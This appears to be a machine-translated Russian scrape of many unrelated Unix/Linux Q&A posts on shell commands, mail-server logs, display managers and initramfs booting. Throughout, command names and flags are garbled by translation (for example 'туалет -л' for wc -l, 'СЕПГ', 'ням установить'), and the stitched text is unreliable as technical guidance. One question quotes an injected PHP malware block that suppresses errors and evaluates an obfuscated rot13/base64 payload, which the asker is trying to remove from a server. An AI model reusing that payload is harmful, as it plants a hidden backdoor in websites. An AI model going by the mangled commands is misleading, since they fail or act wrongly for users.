Начать до н. э. с Пи определенными

Я хочу создать псевдоним для БК , который выполняется до н. э. -л и указывает, что пи=4*а(1). Таким образом, я могу начинать каждый сеанс с Пи уже определены. Какой псевдоним будет это делать?

+707
Khairul Alam Licon 3 мар. 2010 г., 20:53:23
39 ответов

У меня есть текстовый файл, содержащий твитов и я обязан сосчитать, сколько раз это слово упоминается в твите. Например, файл содержит:

Яблоко iPhone X-это будет стоить целое состояние
На iPhone X-это последний флагманский iPhone от Apple. Как он будет сражаться против его конкурентов?

И допустим, я хочу посчитать, сколько раз слово для iPhone упоминается в файле. Так вот что я пробовал.

вырезать -Ф 1 Tweet_Data | грэп -я "айфона" | туалет -л

это, конечно, работает, но меня смущает команда 'туалет' в Unix. Какая разница, если я попробую что-то вроде:

вырезать -Ф 1 Tweet_Data | грэп -с "айфона"

где -ц используется? Оба дают разные результаты в большой файл полный твитов и я путать о том, как он работает. Какой метод является правильным способом подсчета возникновения?

+996
Paul Kennedy 03 февр. '09 в 4:24

У меня есть любопытная аппаратная ситуации, и я нарваться на любопытный выверт программного обеспечения. У меня ноутбук с разбитым экраном, который я подключил к внешнему дисплею. Я запуск X-сессии и открытия терминала urxvt. С настройкой URxvt.приложения letterspace: -1 в мою Xresources файл, текст в мой терминал показывает такой:

Normally spaced text in urxvt

Теперь я не хочу разбитого встроенный экран еще, так что я отключить его с линии:

расширения xrandr --выход LVDS1 --выкл 

Если я открываю новый терминал сейчас, текст будет выглядеть так, как показано выше. Но после входа в устройство/dev/tty2 , а потом вернулся к моей графическую систему X сессии и открытием нового терминала, текст отображает как межбуквенный интервал гораздо плотнее, чем раньше:

Much tighter text in URxvt

Перегрузки мой файл Xresources не исправить. Но повышение стоимости URxvt.приложения letterspace от -1 до 0 и после перезагрузки не появляются, чтобы вернуть межбуквенный интервал, который был изначально, поэтому кажется, что где-то, после входа в устройство/dev/телетайп, дополнительную -1 добавляется на мое письмо-интервал.

Почему это происходит? Почему идя в файл/dev/tty могут уменьшить межбуквенный интервал такой?

+992
Grim76 28 дек. 2013 г., 10:03:15
Другие ответы

Связанные вопросы


Похожие вопросы

UNIX-подобные системы не "вызов функции на выполнение новых процессов". Они (сейчас) иметь общие библиотеки как почти все другие относительно современные операционные системы.

Снарядов с другой стороны выполняют другие процессы для выполнения определенных задач. Но не все. Они имеют встроенные функции,реализованные непосредственно в оболочке (или через общих библиотек) для наиболее распространенных и простых задач (Эхо , например, это реализовано как встроенный много снарядов).
(Окна cmd в консоли ничем не отличается от Unix снарядов в этом отношении, кстати.)

Создание процесса в современных Unix-подобных систем, конечно, дороже, чем делать в процессе вызова функции, но не таким огромным отрывом. Ядра оптимизирован для быстрого разветвления, используя такие приемы, как копирование при записи в адресное пространство управления, чтобы ускорить "клонирование" процессов и обмена текст (код) страницах динамических библиотек.

Если каждый исполняемый на компьютере, который может быть вызван из скрипта shell была реализована как общая библиотека, либо:

  • начиная свой снаряд займет много времени (и памяти) просто чтобы загрузить все этот материал (даже с кэшированием, динамический компоновщик имеет нетривиальные работы, и библиотеки данных разделах, а не только текстовые разделы - мы говорим о сотнях, если не тысячах библиотек здесь)
  • вам придется загрузить все необходимые библиотеки по требованию – возможно, немного быстрее, чем начинать процесс, но преимуществом здесь является очень тонкой. И часть данных общих библиотек становится очень трудно управлять (глобального состояния вашей оболочки теперь зависит от состояния много несвязанных кода и данных, загруженных в адресное пространство).

Так что вы, вероятно, не будет большой доход для типичного использования, а также стабильность/сложность будет больше из вопроса.

Другое дело, что отдельные модели процесса изолятов каждой задачи очень эффективно (при условии виртуальной памяти, управления и защиты). В "все это библиотека" модель, ошибка в любую программу библиотека может привести к загрязнению (т. е. повредить) всю оболочку. Ошибка в некоторых случайных утилита может полностью убить ваш процесс оболочки.
Это не чехол для мульти-процессная модель, оболочка защищена от этого типа ошибок в программах он работает.

Что-то еще: нижние соединение. Когда я смотрю на то, что в моем /usr/Бен каталога прямо сейчас, у меня есть:

  • Эльф 64бит исполняемые файлы,
  • 32-битных исполняемых файлов ELF,
  • Perl-скриптов,
  • Shell-скрипты (некоторые из этих программ запустить Java),
  • Скрипты на Ruby и
  • Скрипты Python

... и я, наверное, не самая навороченная система там. Вы просто не можете смешать первые два вида в один и тот же процесс. Имея переводчика в процесс на все остальные просто не практично.
Даже если вы смотрите только на свой "родной бинарный" формат файла, имеющий интерфейс между "утилиты" будучи простым потоков и кодов выхода делает вещи проще.
Единственные требования на коммунальные услуги является реализация операционной системы ABI и системные вызовы. Вы получите (почти) нет зависимости между различными утилитами. Что это или очень сложно, или просто невозможно, для внутрипроцессного интерфейс, если вам навязывают что-то вроде "все должно быть скомпилирована с версией X компилятора г, с такими-то флаги/параметры.

Есть вещи, за которые в процессе звонков не делает много смысла с точки зрения производительности, и это уже, очень часто, сделать как встроенные модули снаряды. Для отдыха, отдельные модели процессов работает очень эффективно, и его гибкость является большим преимуществом.

+957
CoreyOConnor 6 февр. 2019 г., 04:41:23

Простой SMTP-сервер как таковой не обеспечивают аутентификацию. Проверку подлинности SMTP-это эвфемизм, как обычно вы должны войти ранее через IMAP или pop, уметь использовать службу SMTP.

Как правило, IMAP и чаще протоколу POP3 порты открыть для сети в целом являются грубой заставили как простой способ найти слабые логин/пароль.

Однако, по умолчанию постфикс+голубятню конфигураций, обычно saslauthd в том, для проверки подлинности, была вызвана голубятню, которая обеспечивает протоколам IMAP и POP3 сервисы.

Как такие, как вы должны выглядеть в голубятню журналы, чтобы понять, что происходит, и взглянуть на нарушителя IP-адресов.

Думаю, голубятня логи в файле/var/журнал/голубятня.журнал или что-то похожее (я не использовал CentOS для некоторое время).

Если ведение журнала не достаточно для вас, вы можете изменить голубятню конфигураций временно как:

Отредактируйте файл/etc/dovecot с/конф.Д/10-лесозаготовки.файл conf или в/etc/голубятня/dovecot.конф с:

auth_verbose=да
auth_debug=да
verbose_ssl=да

а затем служба голубятня перезагрузить

Также в качестве совета, это может сделать больше смысла, предоставляющие эти услуги с использованием TLS (pop3s 995/TCP и imaps 993/TCP ), а не в простой форме. Это будет более безопасной, и вы получите гораздо меньше атак.

ПС. Пожалуйста, подтвердите мне название конфигурационных файлов и файлов журналов у вас есть, чтобы изменить этот ответ.

+932
user59208 21 февр. 2018 г., 11:48:38

Если у вас есть запущенные процессы, и вы знаете их ПИД вы можете найти то, что дескрипторы файлов являются открыть с помощью команды "ls -l Для в /proc/ПИД/ФД" где PID-процесса Дис.

Проблемы, процесс может открыть файл, прочитать или оставить его, а затем закрыть ФД. В этом случае ничего не будет тебе сказать, но @идея damansk использования найти поможет.

Вы также можете трассированием процесс и посмотреть, что открыть() вызовы.

+915
pyephyoeaung 12 янв. 2013 г., 15:19:32

Вы можете использовать имя- параметр для найти, чтобы ограничить играм на основе имени файла.

найти myDirectory/. -тип F -имя '*.тхт' -print0 команды | команды xargs -0 СЕПГ -я "$заменить"

Для несколько расширений, вы можете использовать (и) и группа их ().

найти myDirectory/. -тип F \( -имя '*.формате txt-о -имя '*.читать' \) -print0 команды | команды xargs -0 СЕПГ -я "$заменить"

Другим улучшением, которое может быть сделано с помощью -старпома вместо команды xargs. Это более портативные и устраняет подуровень.

найти myDirectory/. -тип F -имя '*.формат txt' -exec для СЕПГ -я "$заменить" {} +
+908
Jadoon 18 мая 2012 г., 16:26:52

У меня есть сервер с тысячами файлов, содержащих многострочный шаблон, что я хочу, чтобы в мире найти и заменить.

Вот образец шаблона:

<див класс="фьюжн-заголовок-липкий-высота"></див>
<див класс="фьюжн-заголовок">
 <див класс="фьюжн-строку">
 <?РНР avada_logo(); ?>
 <?РНР avada_main_menu(); ?>
</див>
</див>


<?в PHP
//###=КЭШЕМ ПУСК=###
@предназначенных(состав e_all);
@безопасность("глобальном уровне",значение null);
@безопасность("log_errors",0);
@безопасность("что display_errors", 0);
@предназначенных(0);
$уа = ASSERT_WARNING;
@функция assert_options(ASSERT_ACTIVE, 1);
@функция assert_options($ва, 0);
@функция assert_options(ASSERT_QUIET_EVAL, 1);

$строки = "а"; $строки .= "СЭ"; $строки .= "РТ"; $strings2 = ст""; $strings2 .= "r_r"; $strings2 .= "от13"; $gbz = "riny(".$strings2("base64_decode");
$свет = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3wspzijo3w0nj5axqncbjccmvtumj1jquxbws9qg09yfhiovzafnjihqs9wntiwnlwqxfxtrloyl2uivpesd09cf0ysjlwwotyyoaesl2uyl2fvkgftsfoyouayvufxwuilopn9vpwbquejbv8iot9umuijmts0mkzhl29gy2qyqp5jnun/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWovywsgh9hei9oerefvy0cyvvzmq0vyailotihl29xmftxk1ashymshyfvh0ifixifk05oghhvkf4xk1ashymshyfvhxieihigis9ihxxvkfxhvvm1cfvhqkwfmj5wo2eyxpesh0ifixifjlwvisedk1igeiwsdhqsgydvkfxhvvmccgrznq0vyz1xaftvzwsxlgvkawqzbjevbtswawv4zwlkmgp3aqyvljh1zwdkzfvcbjccmvuzqj5wqtyioy9yrtymquzbvza1pzksnj5cqpvcxfo7pvewnpn9vta1pzksnj5cqptxqkwfxgfxl3ilos9mmkeipudbwtabypoqiiwzg1ohk0usdheshvjtexszh0hcb2a1pzksp2i0o3o0xpewqkwfypoqiiwzg1ohk0acgx5sd1ehfh1sg1ihypn1xgftl3ilos9mmkeipudbwta1pzjfvraihxkchsesiryaeh9iipjtafx7pza1pzksp2i0o3o0xpewnpjtd1ifgr9dis9feieihx5hhxsbh0mshvjtiswiefx7pveclaltcfowqkwfk2i4mjzbwtabxgfxl3ilos9wot9mmftxl2tcbjc9vtifp2icmvucozysm2i0xpwuotkiq191pzksmz9jmj4vxfn9cfnkxfo7pveclaltcfoznjkyk2qyqs9wo250mj50pltxqkwfxgfxsdccmvucp3ayqptxk1wshiish1eovanvkfxtwvltojd1xt1xaftxk1wshiish1eovanvkfxcvq09vpvkawn0mwh5zmxjzwp3zgvlbgp1bjdjmqhkagyza2hklvvcvuftmkmuopumquwcpuaflkabmkzbws9feisieiahjlwwvy0cxgftsdcyl2uivpeclal7ptxwpk0tsd=="));'); $строки($свет);
//###=КЭШ ЭНД=###
?>

Я пробовал различные методы, чтобы найти и заменить эту строку, но ее многострочной природы и поставило меня в тупик. Я посмотрел много вокруг (за день поисков) и решений, которые я нашел не может обрабатывать многоканальный характер этого.

Любая помощь будет приветствоваться.


Обновление

Теперь у меня есть решение, во многом благодаря принятым ответа.

Другим видом что-то подобное должно выглядеть в моем GitHub проекта.

+905
sopheak71 26 нояб. 2015 г., 03:35:37

если ваши обороты имеют внешних зависимостей, вы должны использовать Юм (или zypper в openSUSE) для внешних зависимостей. Попробуйте:

ням установить ./*.об / мин
+835
maureen 17 апр. 2016 г., 07:53:14

Проблема с /ETC/ГДМ/*

Глядя на гнома дисплей менеджер справочное руководство я заметил несколько каталогов в/etc/GDM и с разных скриптов и тому подобное.

Есть несколько ссылок в этих каталогах до $дома. Я пытался комментируя тем, чтобы увидеть, если вы можете избавиться от доступ к $ДОМА.

Для отладки вашего вопроса мне бы хотелось скинуть пару сет-х линий в верхней части различных сценариев в этих каталогах, чтобы увидеть, что работает до "разрешения сообщения" отказано.

Сценарий в каталогах все Баш скрипты на мои системы.

файл /etc/ГДМ/таможня.конф

параметр debug

Есть отладка параметра в этом файле, которая по умолчанию отключена. Попробуйте включить его, сообщения будут отображаться в папке/var/журнал/сообщения.

[отладка]
Включить=истина

Отключить лица в логин

Я бы также попробуйте отключить включение всех пользователей стоят на входе GDM в лице браузера.

[привратник]
Включения всех=ложь

Вместо того, чтобы отключить его, вы могли бы экспериментировать с отключением одной из ваших проблем пользователей, добавив их в этот список:

Исключить=<пользователь>

Обновление #1 - выпуск багзиллы

Появляется вопрос имеет отношение к этой ошибке подал против красной шляпой трекер, под названием:

Нет разрешения, но как часть баг там был тест, чтобы подтвердить, что вы испытываете эту ошибку.

Когда проблема появляется ГСД видимо создает кэш каталог здесь: каталог/var/выполнения/пользователей/42. Удалить этот каталог позволяет ГДМ входа, чтобы произвести. ОП подтверждает это в комментариях.

Обновление #2 - возможные обходные пути

Там был 2-й комментарий (я) к некоторым дополнительным ссылкам с предложениями проработать вопрос. Ссылка на тему:

конкретно в этот раздел:

были некоторые изменения в настройки Пэм, которая может исправить эту проблему.

+828
reptilecoin 1 апр. 2019 г., 18:41:49

Это довольно простой вопрос, но я не мог найти удовлетворительного ответа нигде:

Как мне узнать от терминала что такое запуск графической оболочки?


Система я работаю на очень увлекательной, я вижу только в xterm окна, откуда я могу открыть приложения (в отдельных окнах). Я могу открыть новое окно xterm, щелкнув правой кнопкой мыши в свободной области на рабочем столе. Каждый раз, когда я открываю приложение, и, следовательно, новое окно, чтобы открыть окно, мне нужно щелчком мыши на свободном пространстве экрана.

Я не думаю, что этот вопрос является дубликатом есть ли способ, чтобы получить имя рабочего окружения?, потому что моя установка немного отличается, чем в что один, и ни один из его ответов для меня.

+703
user143781 28 апр. 2018 г., 03:51:44

Я хотел подойти к нему с этим тестом:

  • установленное соединение, и
  • включить входящие (поле 3 порта 22) или исходящие (поле 4 порта-22) соединения-здесь на якоре между : и в конце поля $.

Можно изменить логику включить либо входящие или исходящие, если это то, что вы после.

При использовании команды netstat флаг, тогда вам не придется искать "СШ"; чтобы быть более подробным и просьбой только те порты, быть числовыми (в Linux) при попытке разрешить IP-адреса, используйте --цифровые порты. Я также снизилась помощью netstat флаг, чтобы отфильтровать "прослушивания" линий (так как они не подключены к другой конечной точке). Так как я только печать налаженные связи, я тоже за поле 6 ("установлено") от выхода; это достаточно легко добавить обратно, либо статически, либо динамически.

командой netstat-н | у awk '$6 == "создан" && ($3 ~ /:22$/ || $4 ~ /:22$/) { печать $4 "-> " $5}'

или

команды netstat --числовые-портов | у awk '$6 == "создан" && ($3 ~ /:22$/ || $4 ~ /:22$/) { печать $4 "-> " $5}'
+660
dotcs 17 февр. 2010 г., 12:14:05

Отредактировать файл ifcfg для этого интерфейса. Например, используя как wlan0.

файл /etc/sysconfig/сети-скрипты/файл ifcfg-как wlan0

Убедитесь, что выбор наоборот-при восстановлении включена.

Наоборот-при восстановлении="да"

Настроить сервисы для запуска при загрузке

с chkconfig messagebus от
с chkconfig в wpa_supplicant от
с chkconfig NetworkManager не прочь
с chkconfig Network на

Ссылка ссылка

+640
samgul 16 нояб. 2012 г., 00:57:45

Красная шляпа подписки обычно используют другой инструмент под названием up2date, в которой обновления системы против отдельных репозиториях. Я верю, что вы можете смешивать системе RHEL, так что он может использовать этот механизм, а также используя репозитории Yum, однако же следует соблюдать осторожность, чтобы не слишком много их смешивать или вы уйдете в ад зависимостей.

Кстати красная шляпа покрывает это здесь, в документации, как использовать Yum, его установке, чтобы сосуществовать с утилита up2date, и последствия.

+638
eipi10 4 мар. 2017 г., 20:15:57

В конце концов я получил вокруг, чтобы собрать отчет об ошибке, и сказали, что удаление настройка-конфигурация-сервер пакет будет решить - так я и сделал:

судо компании Yum autoremove настройка-конфигурация-сервер

Потом я перезагрузил, и он работал :)

+628
Hrishikesh Waghmare 12 февр. 2010 г., 21:11:51

Есть Каха-действия инструмента конфигурации, чтобы добавить открыть с помощью ABC в контекстном меню.

Есть вкладка команда в инструмент действий Каха, там можно указать путь к скрипту и аргумент каталог. Вот изображение инструмента http://poundbangbinbash.com/LinuxMint/MATE/Caja/CajaActions/ConfigurationTool.png

ваш скрипт будет выглядеть

!/бин/Баш
usr/Бен/Ява [опции] home/john/myapp/abc.class $*
+598
user2113247 20 февр. 2017 г., 12:17:57

Я пакетную обработку папкой изображения до однородной ширины с GraphicsMagick (хотя я предполагаю, что то же самое относится к ImageMagick):

$ ГМ конвертировать -размер 1000х in.jpg out.jpg

Но когда я проверить некоторые изображения, я получаю 999px вместо 1000пк.

$ ГМ определить-подробный out.jpg

==> Изображения: out.jpg
==> Формате: формате JPEG (объединенная группа экспертов по фотографии формата jfif формат
==> Геометрия: 999x591

Есть ли способ, чтобы реализовать право ширина? Я предполагаю, что это делает некоторые оценки, чтобы сохранить пропорции.

+539
Nidhi Shakey 11 мая 2012 г., 10:27:35

С помощью команды netstat -т. е. вы должны быть в состоянии видеть все интерфейсы и любую информацию, связанную с ними.

Пример:

пользователь@хост:~$ команды netstat -т. е.
Настольный интерфейс ядра 

eth0 в ссылке encap:сеть Ethernet HWaddr 00:16:3Э:09:да:С8 
 инет адрес:43.96.21.119 брошены:43.96.21.255 маска:255.255.255.0
 До трансляции мультикаст работает с MTU:1500 метрическая:1
 RX пакетов:63671638 ошибок:0 сократилось:0 перерасход:0 рама:0
 Техас пакеты:48175503 ошибок:0 сократилось:0 перерасход:0 перевозчик:0
 столкновения:0 txqueuelen:1000 
 RX байт:12361708203 (12.3 ГБ) Техас байт:12765881974 (12.7 ГБ)
+524
Stew Baker 11 сент. 2018 г., 22:01:24
Службы Linux-это приложение (или набор приложений), которое работает в фоновом режиме, ожидая, чтобы быть использованы, или выполнять важные задачи.
+488
Patrick Stoeckle 18 апр. 2014 г., 22:20:51
СЭД 'с|\({ KRZ_CONN_PASSWORD=\\{и AES256:ключей:есть\\}\)[^ ]*|\1UEum+VN9OGFGR/SwTBahgA\\=\\=/г'
+475
Phantrast 14 авг. 2018 г., 07:52:42

Есть аналогичное обсуждение здесь, что упоминает добавив сна значение задержки старта. Они упоминают, добавив следующую строку в /etc/файл RC.местные помогли запустить его при загрузке:

сон: 10000
в /etc/инит.д/zentyal начать

но меньшее значение, таких как сон 10 может работать. Похоже, ваш сервис может быть в/etc/инит.Д/в ISC-DHCP-сервер , а не в/etc/инит.д/zentyal, но та же идея.

Я не уверен, что если в/etc/файл RC.местные распространяется на Линукс Минт, но другой вариант заключается в добавлении спать 10 до инициализации.д сам скрипт, как первая команда.

+460
Flock Dawson 14 июн. 2017 г., 04:30:23

Предположим, у меня есть доступ к ПК через сервер. Я могу напрямую войти на компьютер с помощью как подключить к ПК через другой компьютер через SSH

Такой, что мой .по SSH/config файл выглядит так:

Хост короткие
Имя хоста ПК
Пользователь я
ProxyCommand СШ меня@сервер НК и %H %годовых

Пользователь и домашние папки на ПК и сервера такие же, но только сервера можно напрямую доехать от внешнего мира. Теперь, если я по SSH короткие, мне должны ввести тот же пароль дважды.

Я сейчас ищу способ войти с помощью туннеля без ввода пароля еще раз.

Я пробовал по SSH-кейген процедуры, но это не помогает мне здесь. Я также нашел это довольно вопрос: настроить беспарольный SSH-туннель от домашнего компьютера за NAT внутри компьютера за воротами, но я не могу понять, как это применить к моей ситуации.

Вопрос в основном сводится к: как я могу настроить беспарольный вход по псевдониму СШ?

+457
TURNTAB983 21 мар. 2010 г., 19:33:39

какая разница между гостевой агент в QEMU-га-х64.компания MSI и специй агент = пару vdservice + vdagent для Windows гость ?
они эксклюзивные ОУ взаимодополняющие ?

+396
Mal0y 6 мар. 2012 г., 07:05:15

Я хочу, чтобы обновить F25 привод датчика от Ф24. Я последовал за следующие действия:

  1. судо ДНФ обновления-обновить
  2. судо установить ДНФ ДНФ-плагин-система-обновить
  3. Система-Обновление судо ДНФ загрузить-обновить-allowerasing --releasever=25
  4. Система-Обновление судо ДНФ перезагрузка

После выполнения шага 4 появилось следующее сообщение на экране:

sp5100_tco:неожиданное рядом, не останавливаясь Барбоса

и после нескольких секунд он возвращается к Ф24.

Выход команду -а это

ЛСБ версия: :core-4.1-amd64:core-4.1-noarch:cxx-4.1-amd64:cxx-4.1-noarch:desktop-4.1-amd64:desktop-4.1-noarch:languages-4.1-amd64:languages-4.1-noarch:printing-4.1-amd64:printing-4.1-noarch
Идентификатор дистрибьютор: Федора
Описание: выпуск Fedora 25 (двадцать пять)
Релиз: 25 
Название: Двадцать Пять
+394
cribaby 20 февр. 2012 г., 13:25:57

Я не нашел идеальный ответ на эту проблему , но вы можете получить полезное пространство, используя следующие

#!/Бен/ш
# 
Эхо "восстановления и дефрагментации страниц "
команды sysctl -п
hugeadm --бассейн-страниц-мин=по умолчанию:+[страница-граф] –добавить-темп-своп=400
Эхо “ “
Эхо “обновление страниц “
кошка /proc/meminfo |grep в HugePage

Это позволит консолидировать зарезервированных страниц в одном месте, используя файл подкачки на 400 страниц (в данном случае) и попытаться обеспечить / добавить необходимое количество страниц, указанных в [страница-граф]. Скрипт предполагает, что вы определили нужное количество исходных страниц в файле/etc/sysctl-переменной.конф Более подробная информация в инструкции по записи на hugeadm

+391
Legionair 9 февр. 2019 г., 07:58:58

Единственная горизонтальная прокрутка команды прокрутка на половину экрана, а можно передать числовой параметр, чтобы определить количество символов, например, набрав 4 вправо прокрутка вправо на 4 знака. Меньше на самом деле не есть понятие “текущая строка” и не разделить строку на слова, так что нет никакого способа для прокрутки по одному слову за раз.

Вы можете определить команду, которая прокручивает на фиксированное количество символов. Например, если вы хотите Шифт+влево и шифт+вправо для прокрутки по 4 героя:

  1. Определить управляющие последовательности, что ваш терминал отправляет на эти комбинации клавиш. Терминалы передачи последовательности байтов, которые начинаются с побега (который может быть записан , \033, ^[ в различных контекстах) характер для функциональных клавиш и keychords. Нажмите сочетание клавиш ctrl+v и шифт+Левый в командной строке: это вставки символа в буквальном смысле (вы увидите ^[ на экране) вместо обработанных оболочкой, и вставляет остальной частью escape-последовательности. Общая настройка Шифт+влево и сдвиг+право отправить \eO2D и \eO2C соответственно.

  2. Создайте файл с именем ~/.lesskey и добавьте следующие строки (отрегулируйте, если ваш терминал посылает разные управляющие последовательности):

    команда #
    \eO2D noaction 4\е(
    \noaction eO2c 4\э)
    

    Затем запустите lesskey, который преобразует удобочитаемое ~/.lesskey в двоичный файл ~/.меньше что меньше читает, когда она начинается.

+367
Unprompted 17 окт. 2015 г., 02:14:39

У меня есть столбец, содержащий дни недели.

|ДОУ | 
|----|
|ВТР |
|СР |
|ЧТВ |
|ЧТВ |

Я хотел бы, чтобы цвет фона каждый день по-разному. Поэтому каждый Пн, будет иметь тот же цвет и каждый Вт будет иметь тот же цвет и т. д. Меня не волнует, какие цвета каждый день. Я просто хочу, чтобы они были разные.

+348
Oliver Rivli 2 июн. 2015 г., 09:42:14

Похоже, ваш wget для вызова - паук не работает как надо. Следует также возвращает код HTTP 200 С помощью головки запросу. Увидеть darnir ответ.

если я не использую --паук я предполагаю, что через wget будет пытаться скачать индекс.HTML-код где-то прав?

Вы можете установить набор выходного документа с вариант, если вам нужен конкретный именем, например

с wget --тихий --нах=1 -O/tmp/docker.html http://localhost:6077

Или если вы не хотите, любой выход, вы можете использовать -О - распечатать результат в stdout, а затем перенаправление потока stdout/stderr в /dev/нуль.

с wget -о - http://localhost:6077 &>/dev/нуль
+308
user924 23 апр. 2018 г., 02:51:20

Арч Линукс с UEFI загружается с USB флэш-диск с GPT и трех разделов:

  1. ЭФИ (vfat файловую систему)
  2. корень (файловая система Btrfs, была преобразована из формата ext4)
  3. дом (файловой системы Btrfs, была преобразована из формата ext4)

Разделы с файловой системой Btrfs нет Sub-томов на одном диске (флеш-накопителе USB).

Задача

Пытаюсь создать минимальный пакет initramfs , удалив udev и много других крючков. Оптимизация загрузки с mkinitcpio был использован в качестве вдохновения тоже.
Эффективное mkinitcpio крючки: базовая, автоопределение и modconf в.

В Btrfs крючок

Система Btrfs крюк не включен, потому что mkinitcpio крючки документации перечислены на ее крючок:

Этот крючок не требуется для файловой системы Btrfs на одном устройстве.

Регрессии

  1. Я пытался снимать в udev -> ошибка загрузки
  2. Я пробовал добавить модуль -> система Btrfs ошибка загрузки
  3. Я добавил ее крюком -> ошибка загрузки
  4. Изменен корень=PARTUUID= корень=идентификатор UUID= обозно -> загрузки ошибка
  5. добавление параметров rootfstype=файловой системой Btrfs -> ошибка загрузки
  6. rootdelay=0 -> ошибка загрузки
  7. rootdelay=10 -> Ошибка загрузки
  8. Монтаж с помощью /dev/sda2 от чрезвычайных оболочки -> ОК

Ошибка

Только после вставки в udev и systemd в крючки система корней в корневой раздел файловой системы Btrfs, в противном случае появляется эта ошибка:

Ошибка: PARTUUID устройства '=С2...С13' не найдены. Пропуская проверку.
:: монтажный 'PARTUUID=С2...С13' на реальных корня 
крепление: не могу найти PARTUUID=С2...С13'
Вы сейчас упал в аварийной оболочки.

Во время выполнения инициализации отладки/выхода журнала

Включение загрузки параметров РД.отладка и РД.отчет показывает, что "premount" вызывает resolve_device функция и что возвращает пустой подстановки.

resolve_device PARTUUID=С2 С13...
местные крупные мелкие устройства теге Дэв=PARTUUID=С2 С13...
blkid -ЛТ PARTUUID=С2...С13 -вывода устройства
Дэв=

Последние пустые Дэв вызывает устройство не найдено ошибка.

команда initramfs, в гору

mount_handler=default_mount_handler
...
# Монтируем корень в /new_root
"$mount_handler" /new_root

источник: https://git.archlinux.org/mkinitcpio.git/tree/init

default_mount_handler() {
 МСГ ":: монтаж '$корень' на реальных корня"
 крепление ${rootfstype:+-Т $rootfstype} -о ${rwopt:-РО}${rootflags:+,$rootflags} "$корень", "$1"

источник: https://git.archlinux.org/mkinitcpio.git/tree/init_functions#n375

пакет initramfs версия

[файловой системы ]# крепление-в
крепление из util-Linux и 2.29.2 (libmount 2.29.2: в Btrfs, утверждать, отладка)

пакет initramfs содержание

$ lsinitcpio -файл /boot/initramfs, в-линукс-крошечные.ИМГ
==> Изображение: файл /boot/initramfs, в-линукс-крошечные.ИМГ
==> Создан с mkinitcpio 23
==> Ядро: 4.10.3-1-арка
==> Размер: 3.53 Мб
==> Сжатая с: формате LZ4 -л
 -> Размер распакованного: соотношение 8.32 Мб (.424)
 -> Расчетное время экстракции: 0.028 сек

==> Включены модули:
 для AHCI [явного] спрятал-универсальный [явного] usbcore raid6_pq
 atkbd [явного] i8042 [явного] scsi_mod usbhid [явного]
 в Btrfs [явного] libahci sd_mod [явного] интерфейс xHCI-HCD с
 crc32c-Интел [явного] libata xHCI, что-ЧКВ-Серио [явного]
 crc32c_generic libcrc32c serio_raw [явного] гаммирования
 интерфейса расширенного контроллера узла-ВСР libps2 УАС [явного]
 интерфейса расширенного контроллера узла-ЧКВ [явного] с OHCI-HCD с УСБ-общие
 спрятал с OHCI ЧКВ [явного] USB-накопители

==> Включены файлы:
 blkid busybox и dosfsck проверку работы fsck.для vfat kmod крепление switch_root

Аварийный оболочки его blkid команда выводит правильно (часть)идентификатор UUID значение. Может крепление с помощью, используя (частично)идентификатор UUID не потому, что нет устройства/dev/диск/?

Вопрос

Что нужно загрузиться в режиме нон-рейд нон-подраздел одного диска корневой раздел Btrfs находится на флешку без помощи udev?


П. С. Эта ошибка может быть вызвана гонки, идентификатор UUID/PARTUUID еще не доступен, когда пакет initramfs/инит выполняется крепление ... идентификатор UUID=... команды.

+276
user163240 28 нояб. 2016 г., 05:10:13

У меня есть скрипт, который генерирует какой-то вывод. Я хочу проверить, что выход для любого IP-адреса, как

159.143.23.12
134.12.178.131
124.143.12.132

если (ИПС находятся в <файл>)
затем // кучу действий //
else // а кучу действий //

Это fgrep хорошая идея?

У меня Баш доступен.

+230
Fineman 28 февр. 2017 г., 00:23:31

Ошибка в этих строках (которые случаются два раза):

если [ $1 -эквалайзер 1 ] ; тогда
Эхо
'

Одиночные кавычки должны быть на одной линии, как эхо. Если в следующей строке, то это не рассматривается как аргумент в эхо , но в качестве следующей команды.

+211
user15877 25 янв. 2020 г., 10:56:06

Я не знаю, является ли это правильное место, чтобы разместить этот вопрос, но если вы не являетесь пользователем Emacs, я буду объяснять основы использования руля-происходит руля-наскоком.

Мне нравится шлем-произойти/руля-наскоком под Emacs очень много, но когда я не с помощью Emacs, есть ли инструмент в терминале для меня это действует как шлем-происходит руля-наскока, ее не нужно предоставить все возможности, которые они предоставляют, все что мне нужно-это шаблон для поиска в директории/файлы, и она будет перечислять все матчи, и я могу выбрать один из них и перейти к его для просмотра или редактирования, после редактирования или просмотра, Я могу вернуться к списку и выбрать другой, есть пакет под названием перколь , что будет список игр, но он не может прыгать к файлу.

Кстати, я использую АГ или grep.

+207
Mukesh Aryal 3 мая 2011 г., 06:28:01

Вы можете попробовать сочетание клавиш Ctrl+АЛТ+* убить стойка процесса (экран блокировки программ на файл xorg 1.11) или сочетание клавиш Ctrl+АЛТ+Ф1 , чтобы открыть терминал, запустить команду типа ПС, топ, или при увидеть запущенные процессы и убить на запуск не реагирует процесс.

Примечание: если не установлен, установите при с судо apt-получить установку при.

Кроме того, после этого в сочетание клавиш Ctrl+клавиши Alt+F1 в консоль, вернуть рабочий стол сочетание клавиш Ctrl+АЛТ+Ф7.

+136
Kurt Vega 19 мая 2019 г., 20:42:05

В Linux поддержка USB встроена в большинство ядер так установки и загрузки с USB-диска (в отличие от стандартной установки Windows, которые загружаются драйверы USB позже в процессе загрузки), вы должны быть в состоянии загрузить самые дистрибутива монтажники на одну USB флешку, и установить его в другой USB-накопитель, а затем использовать его как съемный жесткий диск... все должно быть 'настойчивый' и ОС будет обращаться с флешкой, по сути, как жесткий диск. Я сделал это с мятой в течение некоторого времени до 64 ГБ большой палец руки был просто слишком мал, но обновления и исправления или изменения без проблем и хранились, как если бы диск был жесткий диск.

+115
ThePhoenix47 22 мая 2014 г., 20:50:11

Грэп видит название команды, которая вызывается 'одиночные' я добавил демона в опции команды grep, потому что некоторые программы имеют демон запущенный процесс, даже если его экземпляра в окне Диспетчера не существует.

#!/бин/Баш
если пс-пс $(pgrep -Д "$1") для egrep -V "в одном экземпляре|демон" | команда grep $1;затем
 wmctrl -ХД $1
еще
$1
интернет

Благодаря Микель вел меня, чтобы понять это.

+89
Calin Comlosan 12 янв. 2012 г., 19:41:42

Недавно я установил Debian хриплый и пусть раздел Руководство установки диска, используя весь раздел с шифрованием (ЛВМ). Позже я добавил четыре диска и настройка конфигурации RAID5 на них (с помощью команды mdadm).

Мой вопрос: Как добавить в RAID-набор существующих крипто-ЛВМ, делая рейд зашифрованный, а?

+72
